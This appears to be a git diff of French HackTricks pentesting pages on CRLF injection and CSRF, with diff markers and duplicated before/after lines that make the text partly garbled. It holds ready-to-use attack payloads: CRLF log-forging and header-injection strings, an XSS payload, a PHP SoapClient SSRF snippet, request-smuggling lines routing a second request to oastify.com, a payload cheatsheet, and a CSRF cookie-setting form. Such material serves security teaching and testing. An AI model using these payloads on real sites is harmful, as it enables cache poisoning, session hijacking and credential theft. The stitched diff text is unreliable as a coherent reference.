Dans une attaque exploitant une vulnérabilité d'injection CRLF, l'attaquant insère à la fois les caractères de retour chariot et de saut de ligne dans une entrée utilisateur pour tromper le serveur, l'application web ou l'utilisateur en leur faisant croire qu'un objet est terminé et qu'un autre a commencé. Ainsi, les séquences CRLF ne sont pas des caractères malveillants, mais elles peuvent être utilisées à des fins malveillantes, pour le fractionnement de réponse HTTP, etc.
|
||||
|
||||
## Injection CRLF dans les applications web
|
||||
|
||||
Dans les applications web, une injection CRLF peut avoir des impacts graves, selon ce que l'application fait avec les éléments individuels. Les impacts peuvent aller de la divulgation d'informations à l'exécution de code, une vulnérabilité directe affectant la sécurité de l'application web. En fait, une attaque par injection CRLF peut avoir des répercussions très sérieuses sur une application web, même si elle n'a jamais été répertoriée dans le Top 10 de l'OWASP. Par exemple, il est également possible de manipuler des fichiers journaux dans un panneau d'administration comme expliqué dans l'exemple ci-dessous.
|
||||
Dans les applications web, une injection CRLF peut avoir des impacts graves, selon ce que l'application fait avec les éléments individuels. Les impacts peuvent aller de la divulgation d'informations à l'exécution de code, une vulnérabilité directe affectant la sécurité de l'application web. En fait, une attaque par injection CRLF peut avoir des répercussions très sérieuses sur une application web, même si elle n'a jamais été répertoriée dans la liste du Top 10 de l'OWASP. Par exemple, il est également possible de manipuler des fichiers journaux dans un panneau d'administration comme expliqué dans l'exemple ci-dessous.
|
||||
|
||||
#### Un exemple d'injection CRLF dans un fichier journal
|
||||
|
||||
|
@ -43,20 +45,20 @@ Si un attaquant peut injecter les caractères CRLF dans la requête HTTP, il peu
|
|||
```
|
||||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
```markdown
|
||||
Les %0d et %0a sont les formes encodées en URL de CR et LF. Par conséquent, les entrées de journal ressembleraient à ceci après que l'attaquant ait inséré ces caractères et que l'application les affiche :
|
||||
|
||||
IP - Heure - Chemin visité
|
||||
```
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home&
|
||||
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
En exploitant une vulnérabilité d'injection CRLF, l'attaquant peut falsifier des entrées dans le fichier de journalisation pour dissimuler ses propres actions malveillantes. L'attaquant procède littéralement à un détournement de page et modifie la réponse. Par exemple, imaginez un scénario où l'attaquant a le mot de passe administrateur et exécute le paramètre restrictedaction, qui ne peut être utilisé que par un administrateur.
|
||||
```markdown
|
||||
Ainsi, en exploitant une vulnérabilité d'injection CRLF, l'attaquant peut falsifier des entrées dans le fichier de journalisation pour dissimuler ses propres actions malveillantes. L'attaquant procède littéralement à un détournement de page et modifie la réponse. Par exemple, imaginez un scénario où l'attaquant a le mot de passe administrateur et exécute le paramètre restrictedaction, qui ne peut être utilisé que par un administrateur.
|
||||
|
||||
Le problème est que si l'administrateur remarque qu'une IP inconnue a utilisé le paramètre restrictedaction, il se rendra compte que quelque chose ne va pas. Cependant, puisqu'il semble maintenant que la commande a été émise par le localhost (et donc probablement par quelqu'un qui a accès au serveur, comme un administrateur), cela ne paraît pas suspect.
|
||||
|
||||
Toute la partie de la requête commençant par %0d%0a sera traitée par le serveur comme un seul paramètre. Après cela, il y a un autre & avec le paramètre restricted action qui sera analysé par le serveur comme un autre paramètre. En effet, cela reviendrait à la même requête que :
|
||||
Toute la partie de la requête commençant par %0d%0a sera traitée par le serveur comme un seul paramètre. Après cela, il y a un autre & avec le paramètre restricted action qui sera analysé par le serveur comme un autre paramètre. En effet, cela serait la même requête que :
|
||||
```
|
||||
```
|
||||
/index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
@ -72,9 +74,7 @@ Imaginez une application qui définit un en-tête personnalisé, par exemple :
|
|||
```
|
||||
X-Your-Name: Bob
|
||||
```
|
||||
```markdown
|
||||
La valeur de l'en-tête est définie via un paramètre get appelé "name". Si aucun encodage d'URL n'est en place et que la valeur est directement reflétée dans l'en-tête, il pourrait être possible pour un attaquant d'insérer la combinaison mentionnée de CRLFCRLF pour indiquer au navigateur que le corps de la requête commence. De cette manière, il peut insérer des données telles qu'une charge utile XSS, par exemple :
|
||||
```
|
||||
La valeur de l'en-tête est définie via un paramètre get appelé "name". Si aucun encodage d'URL n'est en place et que la valeur est directement reflétée à l'intérieur de l'en-tête, il pourrait être possible pour un attaquant d'insérer la combinaison mentionnée de CRLFCRLF pour indiquer au navigateur que le corps de la requête commence. De cette manière, il peut insérer des données telles qu'une charge utile XSS, par exemple :
|
||||
```
|
||||
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
|
||||
```
|
||||
|
@ -118,7 +118,7 @@ Si un attaquant peut injecter les en-têtes HTTP qui activent CORS (Cross Origin
|
|||
### Nouvelle requête HTTP dans SSRF
|
||||
|
||||
En abusant de l'injection CRLF, vous pouvez **créer une nouvelle requête HTTP et l'injecter**.\
|
||||
Un bon exemple peut être réalisé en utilisant le gadget de désérialisation `SoapClient` en PHP. Cette classe est **vulnérable au CRLF** à l'intérieur du paramètre `user_agent`, permettant d'**insérer de nouveaux en-têtes et contenu de corps**. Cependant, vous pouvez même être capable d'exploiter cette vulnérabilité pour **injecter une nouvelle requête HTTP :**
|
||||
Un bon exemple peut être réalisé en utilisant le gadget de désérialisation `SoapClient` en PHP. Cette classe est **vulnérable au CRLF** à l'intérieur du paramètre `user_agent` permettant d'**insérer de nouveaux en-têtes et contenu de corps**. Cependant, vous pouvez même être capable d'exploiter cette vulnérabilité pour **injecter une nouvelle requête HTTP :**
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
|
@ -149,14 +149,14 @@ Vous pouvez injecter des en-têtes essentiels pour garantir que **le back-end ma
|
|||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
Ensuite, **spécifiez une deuxième requête**. Ici, vous avez un **smuggling de requête** classique avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection.
|
||||
Ensuite, **spécifiez une deuxième requête**. Ici, vous avez un **smuggling de requête** classique avec des **en-têtes/corps supplémentaires** ajoutés par le serveur après l'injection.\
|
||||
Voici deux des nombreuses options pour l'exploitation inter-utilisateurs.
|
||||
|
||||
Spécifier un **préfixe malveillant** pour empoisonner soit la requête du prochain utilisateur, soit un cache web :
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
Ou concevoir notre préfixe pour le combiner avec les déchets suivants et créer une deuxième requête complète afin de déclencher un **empoisonnement de la file d'attente des réponses**.
|
||||
Ou concevoir notre préfixe pour le combiner avec les déchets suivants et créer une deuxième requête complète afin de déclencher l'empoisonnement de la file d'attente des réponses.
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
|
@ -172,25 +172,25 @@ Memcache est un **système de stockage clé-valeur qui utilise un protocole en t
|
|||
|
||||
Si une plateforme prend **des données d'une requête HTTP et les utilise sans les assainir** pour effectuer des **requêtes** vers un serveur **memcache**, un attaquant pourrait abuser de ce comportement pour **injecter de nouvelles commandes memcache**.
|
||||
|
||||
Par exemple, dans la vulnérabilité originellement découverte, les clés de cache étaient utilisées pour retourner l'IP et le port auxquels un utilisateur devrait se connecter, et les attaquants étaient capables d'**injecter des commandes memcache** qui allaient **empoisonner le cache pour envoyer les détails des victimes** (noms d'utilisateur et mots de passe inclus) vers les serveurs de l'attaquant :
|
||||
Par exemple, dans la vulnérabilité originellement découverte, les clés de cache étaient utilisées pour retourner l'IP et le port auxquels un utilisateur devrait se connecter, et les attaquants ont pu **injecter des commandes memcache** qui allaient **empoisonner le cache pour envoyer les détails des victimes** (noms d'utilisateur et mots de passe inclus) vers les serveurs de l'attaquant :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer l'IP et les ports de l'attaquant aux utilisateurs dont l'email n'était pas connu de l'attaquant :
|
||||
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer l'IP et les ports des attaquants aux utilisateurs dont l'email n'était pas connu de l'attaquant :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Pour l'information complète, lisez le** [**rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
**Pour l'information complète, lisez le** [**rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
|
||||
|
||||
## Impacts de la vulnérabilité d'injection CRLF
|
||||
|
||||
L'impact des injections CRLF varie et inclut également tous les impacts du Cross-site Scripting jusqu'à la divulgation d'informations. Cela peut également désactiver certaines restrictions de sécurité comme les filtres XSS et la politique de même origine dans les navigateurs des victimes, les rendant vulnérables aux attaques malveillantes.
|
||||
L'impact des injections CRLF varie et inclut également tous les impacts du Cross-site Scripting jusqu'à la divulgation d'informations. Cela peut également désactiver certaines restrictions de sécurité comme les filtres XSS et la politique de même origine dans les navigateurs des victimes, les laissant vulnérables aux attaques malveillantes.
|
||||
|
||||
### Comment prévenir les injections CRLF / en-têtes HTTP dans les applications web
|
||||
### Comment Prévenir les Injections CRLF / En-têtes HTTP dans les Applications Web
|
||||
|
||||
La meilleure technique de prévention est de ne pas utiliser directement les entrées des utilisateurs dans les en-têtes de réponse. Si cela n'est pas possible, vous devriez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications web est de mettre à jour votre langage de programmation vers une version qui n'autorise pas l'injection de CR et LF dans les fonctions qui définissent les en-têtes HTTP.
|
||||
La meilleure technique de prévention est de ne pas utiliser directement les entrées des utilisateurs à l'intérieur des en-têtes de réponse. Si cela n'est pas possible, vous devriez toujours utiliser une fonction pour encoder les caractères spéciaux CRLF. Une autre bonne pratique de sécurité des applications web est de mettre à jour votre langage de programmation vers une version qui n'autorise pas l'injection de CR et LF dans les fonctions qui définissent les en-têtes HTTP.
|
||||
|
||||
### CHEATSHEET
|
||||
```
|
||||
|
@ -228,7 +228,7 @@ La meilleure technique de prévention est de ne pas utiliser directement les ent
|
|||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et à hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -236,12 +236,14 @@ Si vous êtes intéressé par une **carrière en hacking** et à hacker l'inviol
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,53 +2,55 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
|
||||
**Aperçus de piratage**\
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
|
||||
**Nouvelles de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
Restez informé avec les lancements de primes de bugs les plus récents et les mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
## Qu'est-ce que le CSRF ?
|
||||
## Qu'est-ce que CSRF ?
|
||||
|
||||
La **falsification de requête intersite** (également connue sous le nom de CSRF) est une vulnérabilité de sécurité web qui permet à un attaquant d'**inciter les utilisateurs à effectuer des actions qu'ils ne souhaitent pas effectuer**.\
|
||||
Cela est fait en **faisant accéder un utilisateur connecté** sur la plateforme victime à un site web contrôlé par l'attaquant et à partir de là, **exécuter** du code JS malveillant, envoyer des formulaires ou récupérer des "images" sur le **compte de la victime**.
|
||||
**La falsification de requête intersite** (également connue sous le nom de CSRF) est une vulnérabilité de sécurité Web qui permet à un attaquant d'**induire les utilisateurs à effectuer des actions qu'ils n'ont pas l'intention de réaliser**.\
|
||||
Cela se fait en **faisant accéder un utilisateur connecté** sur la plateforme victime à un site Web contrôlé par l'attaquant et de là **exécuter** du code JS malveillant, envoyer des formulaires ou récupérer des "images" vers le **compte des victimes**.
|
||||
|
||||
### Prérequis
|
||||
|
||||
Pour pouvoir exploiter une vulnérabilité CSRF, vous devez d'abord **trouver une action pertinente à exploiter** (changer de mot de passe ou d'adresse e-mail, faire en sorte que la victime vous suive sur un réseau social, vous donner plus de privilèges...). La **session doit reposer uniquement sur les cookies ou l'en-tête d'authentification de base HTTP**, aucun autre en-tête ne peut être utilisé pour gérer la session. Enfin, il ne doit pas y avoir de **paramètres imprévisibles** dans la requête.
|
||||
Pour pouvoir abuser d'une vulnérabilité CSRF, vous devez d'abord **trouver une action pertinente à abuser** (changer de mot de passe ou d'email, faire en sorte que la victime vous suive sur un réseau social, vous donner plus de privilèges...). La **session doit reposer uniquement sur des cookies ou l'en-tête d'authentification HTTP de base**, aucun autre en-tête ne peut être utilisé pour gérer la session. Enfin, il **ne devrait pas y avoir de paramètres imprévisibles** dans la requête.
|
||||
|
||||
Plusieurs **contre-mesures** peuvent être mises en place pour éviter cette vulnérabilité.
|
||||
Plusieurs **contre-mesures** pourraient être en place pour éviter cette vulnérabilité.
|
||||
|
||||
### **Défenses courantes**
|
||||
### **Défenses communes**
|
||||
|
||||
* [**Cookies SameSite**](hacking-with-cookies/#samesite) : Si le cookie de session utilise ce drapeau, il se peut que vous ne puissiez pas envoyer le cookie à partir de sites web arbitraires.
|
||||
* [**Partage des ressources entre origines**](cors-bypass.md) : Selon le type de requête HTTP que vous devez effectuer pour exploiter l'action pertinente, vous pouvez prendre en compte la **politique CORS du site victime**. _Notez que la politique CORS n'affectera pas si vous voulez simplement envoyer une requête GET ou une requête POST à partir d'un formulaire et que vous n'avez pas besoin de lire la réponse._
|
||||
* Demandez le **mot de passe** de l'utilisateur pour autoriser l'action.
|
||||
* Résolvez un **captcha**.
|
||||
* Lisez les en-têtes **Referrer** ou **Origin**. Si une expression régulière est utilisée, elle peut être contournée par exemple avec :
|
||||
* http://mal.net?orig=http://example.com (se termine par l'URL)
|
||||
* http://example.com.mal.net (commence par l'URL)
|
||||
* **Modifiez** le **nom** des **paramètres** de la requête POST ou GET.
|
||||
* Utilisez un **jeton CSRF** dans chaque session. Ce jeton doit être envoyé dans la requête pour confirmer l'action. Ce jeton peut être protégé par CORS.
|
||||
* [**Cookies SameSite**](hacking-with-cookies/#samesite) : Si le cookie de session utilise ce drapeau, vous ne pourrez peut-être pas envoyer le cookie à partir de sites Web arbitraires.
|
||||
* [**Partage de ressources entre origines**](cors-bypass.md) : Selon le type de requête HTTP que vous devez effectuer pour abuser de l'action pertinente, vous pouvez prendre en compte la **politique CORS du site victime**. _Notez que la politique CORS n'aura pas d'effet si vous voulez juste envoyer une requête GET ou une requête POST à partir d'un formulaire et que vous n'avez pas besoin de lire la réponse._
|
||||
* Demander le **mot de passe** de l'utilisateur pour autoriser l'action.
|
||||
* Résoudre un **captcha**
|
||||
* Lire les en-têtes **Referrer** ou **Origin**. Si une regex est utilisée, elle pourrait être contournée par exemple avec :
|
||||
* http://mal.net?orig=http://example.com (se termine par l'url)
|
||||
* http://example.com.mal.net (commence par l'url)
|
||||
* **Modifier** le **nom** des **paramètres** de la requête Post ou Get
|
||||
* Utiliser un **jeton CSRF** dans chaque session. Ce jeton doit être envoyé à l'intérieur de la requête pour confirmer l'action. Ce jeton pourrait être protégé avec CORS.
|
||||
|
||||
### Carte CSRF
|
||||
|
||||
|
@ -56,43 +58,44 @@ Plusieurs **contre-mesures** peuvent être mises en place pour éviter cette vul
|
|||
|
||||
## Contournement des défenses
|
||||
|
||||
### Du POST au GET
|
||||
### De POST à GET
|
||||
|
||||
Peut-être que le formulaire que vous voulez exploiter est préparé pour envoyer une **requête POST avec un jeton CSRF**, mais vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET, le **jeton CSRF est toujours validé**.
|
||||
Peut-être que le formulaire que vous souhaitez abuser est préparé pour envoyer une **requête POST avec un jeton CSRF mais**, vous devriez **vérifier** si un **GET** est également **valide** et si lorsque vous envoyez une requête GET le **jeton CSRF est toujours validé**.
|
||||
|
||||
### Absence de jeton
|
||||
### Manque de jeton
|
||||
|
||||
Certaines applications **valident correctement le jeton lorsqu'il est présent mais ignorent la validation si le jeton est omis**.\
|
||||
Dans cette situation, l'attaquant peut **supprimer le paramètre entier** contenant le jeton (pas seulement sa valeur) pour contourner la validation et effectuer une attaque CSRF.
|
||||
Certaines applications **valident correctement le jeton lorsqu'il est présent mais sautent la validation si le jeton est omis**.\
|
||||
Dans cette situation, l'attaquant peut **supprimer entièrement le paramètre** contenant le jeton (pas seulement sa valeur) pour contourner la validation et mener une attaque CSRF.
|
||||
|
||||
### Le jeton CSRF n'est pas lié à la session utilisateur
|
||||
|
||||
Certaines applications ne **vérifient pas que le jeton appartient à la même session** que l'utilisateur qui effectue la requête. Au lieu de cela, l'application **maintient un pool global de jetons** qu'elle a émis et accepte tout jeton qui apparaît dans ce pool.\
|
||||
Dans cette situation, l'attaquant peut se connecter à l'application en utilisant son propre compte, **obtenir un jeton valide**, puis **transmettre ce jeton à l'utilisateur victime** dans son attaque CSRF.
|
||||
Certaines applications ne **valident pas que le jeton appartient à la même session** que l'utilisateur qui fait la demande. Au lieu de cela, l'application **maintient un pool global de jetons** qu'elle a émis et accepte tout jeton qui apparaît dans ce pool.\
|
||||
Dans cette situation, l'attaquant peut se connecter à l'application en utilisant son propre compte, **obtenir un jeton valide**, et ensuite **transmettre ce jeton à l'utilisateur victime** dans son attaque CSRF.
|
||||
|
||||
### Contournement de la méthode
|
||||
### Contournement de méthode
|
||||
|
||||
Si la requête utilise une **méthode "étrange"**, vérifiez si la **fonctionnalité de substitution de méthode** fonctionne.\
|
||||
Par exemple, si elle utilise une méthode **PUT**, vous pouvez essayer d'utiliser une méthode **POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Si la requête utilise une **méthode "étrange"**, vérifiez si la fonctionnalité de **surcharge de méthode** fonctionne.\
|
||||
Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Cela peut également fonctionner en envoyant le **paramètre \_method dans une requête POST** ou en utilisant les **en-têtes** :
|
||||
Cela pourrait aussi fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** :
|
||||
|
||||
* _X-HTTP-Method_
|
||||
* _X-HTTP-Method-Override_
|
||||
* _X-Method-Override_
|
||||
### Contournement du jeton d'en-tête personnalisé
|
||||
|
||||
Si la requête ajoute un **en-tête personnalisé** avec un **jeton** à la requête en tant que méthode de **protection CSRF**, alors :
|
||||
### Contournement de jeton d'en-tête personnalisé
|
||||
|
||||
* Testez la requête sans le **jeton personnalisé et également l'en-tête**.
|
||||
* Testez la requête avec un **jeton différent mais de même longueur**.
|
||||
Si la requête ajoute un **en-tête personnalisé** avec un **jeton** à la requête comme **méthode de protection CSRF**, alors :
|
||||
|
||||
* Testez la requête sans le **Jeton personnalisé et aussi sans en-tête.**
|
||||
* Testez la requête avec un **jeton de même longueur mais différent**.
|
||||
|
||||
### Le jeton CSRF est vérifié par un cookie
|
||||
|
||||
Dans une variation ultérieure de la vulnérabilité précédente, certaines applications **dupliquent chaque jeton dans un cookie et un paramètre de requête**. Ou elles **définissent un cookie csrf** et **vérifient en arrière-plan si le jeton csrf envoyé correspond à celui lié au cookie**.
|
||||
Dans une variation supplémentaire sur la vulnérabilité précédente, certaines applications **dupliquent chaque jeton dans un cookie et un paramètre de requête**. Ou elles **définissent un cookie csrf** et **vérifient dans le backend si le jeton csrf envoyé est celui lié au cookie**.
|
||||
|
||||
Lorsque la requête suivante est validée, l'application vérifie simplement que le **jeton** soumis dans le **paramètre de requête correspond** à la valeur stockée par le **cookie**.\
|
||||
Dans cette situation, l'attaquant peut à nouveau effectuer une attaque CSRF **si le site web contient une vulnérabilité qui lui permettrait de définir son cookie CSRF sur la victime comme un CRLF**.
|
||||
Dans cette situation, l'attaquant peut à nouveau effectuer une attaque CSRF **si le site Web contient une vulnérabilité qui lui permettrait de définir son cookie CSRF pour la victime comme un CRLF**.
|
||||
|
||||
Dans ce cas, vous pouvez définir le cookie en essayant de charger une fausse image, puis lancer l'attaque CSRF comme dans cet exemple :
|
||||
```html
|
||||
|
@ -110,20 +113,20 @@ Dans ce cas, vous pouvez définir le cookie en essayant de charger une fausse im
|
|||
</html>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que si le jeton csrf est lié au cookie de session, cette attaque ne fonctionnera pas car vous devrez définir votre session en tant que victime, et vous vous attaquerez donc vous-même.
|
||||
Notez que si le **jeton csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime pour vous-même, et donc vous vous attaquerez vous-même.
|
||||
{% endhint %}
|
||||
|
||||
### Changement de Content-Type
|
||||
|
||||
Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), afin d'**éviter les requêtes préliminaires** en utilisant la méthode **POST**, voici les valeurs de Content-Type autorisées :
|
||||
Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), pour **éviter les requêtes preflight** en utilisant la méthode **POST**, voici les valeurs de Content-Type autorisées :
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
Cependant, notez que la **logique des serveurs peut varier** en fonction du **Content-Type** utilisé, vous devriez donc essayer les valeurs mentionnées ainsi que d'autres comme **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Cependant, notez que la **logique des serveurs peut varier** en fonction du **Content-Type** utilisé, donc vous devriez essayer les valeurs mentionnées et d'autres comme **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Exemple (à partir de [ici](https://brycec.me/posts/corctf\_2021\_challenges)) d'envoi de données JSON en tant que text/plain :
|
||||
Exemple (tiré de [ici](https://brycec.me/posts/corctf\_2021\_challenges)) d'envoi de données JSON comme text/plain :
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
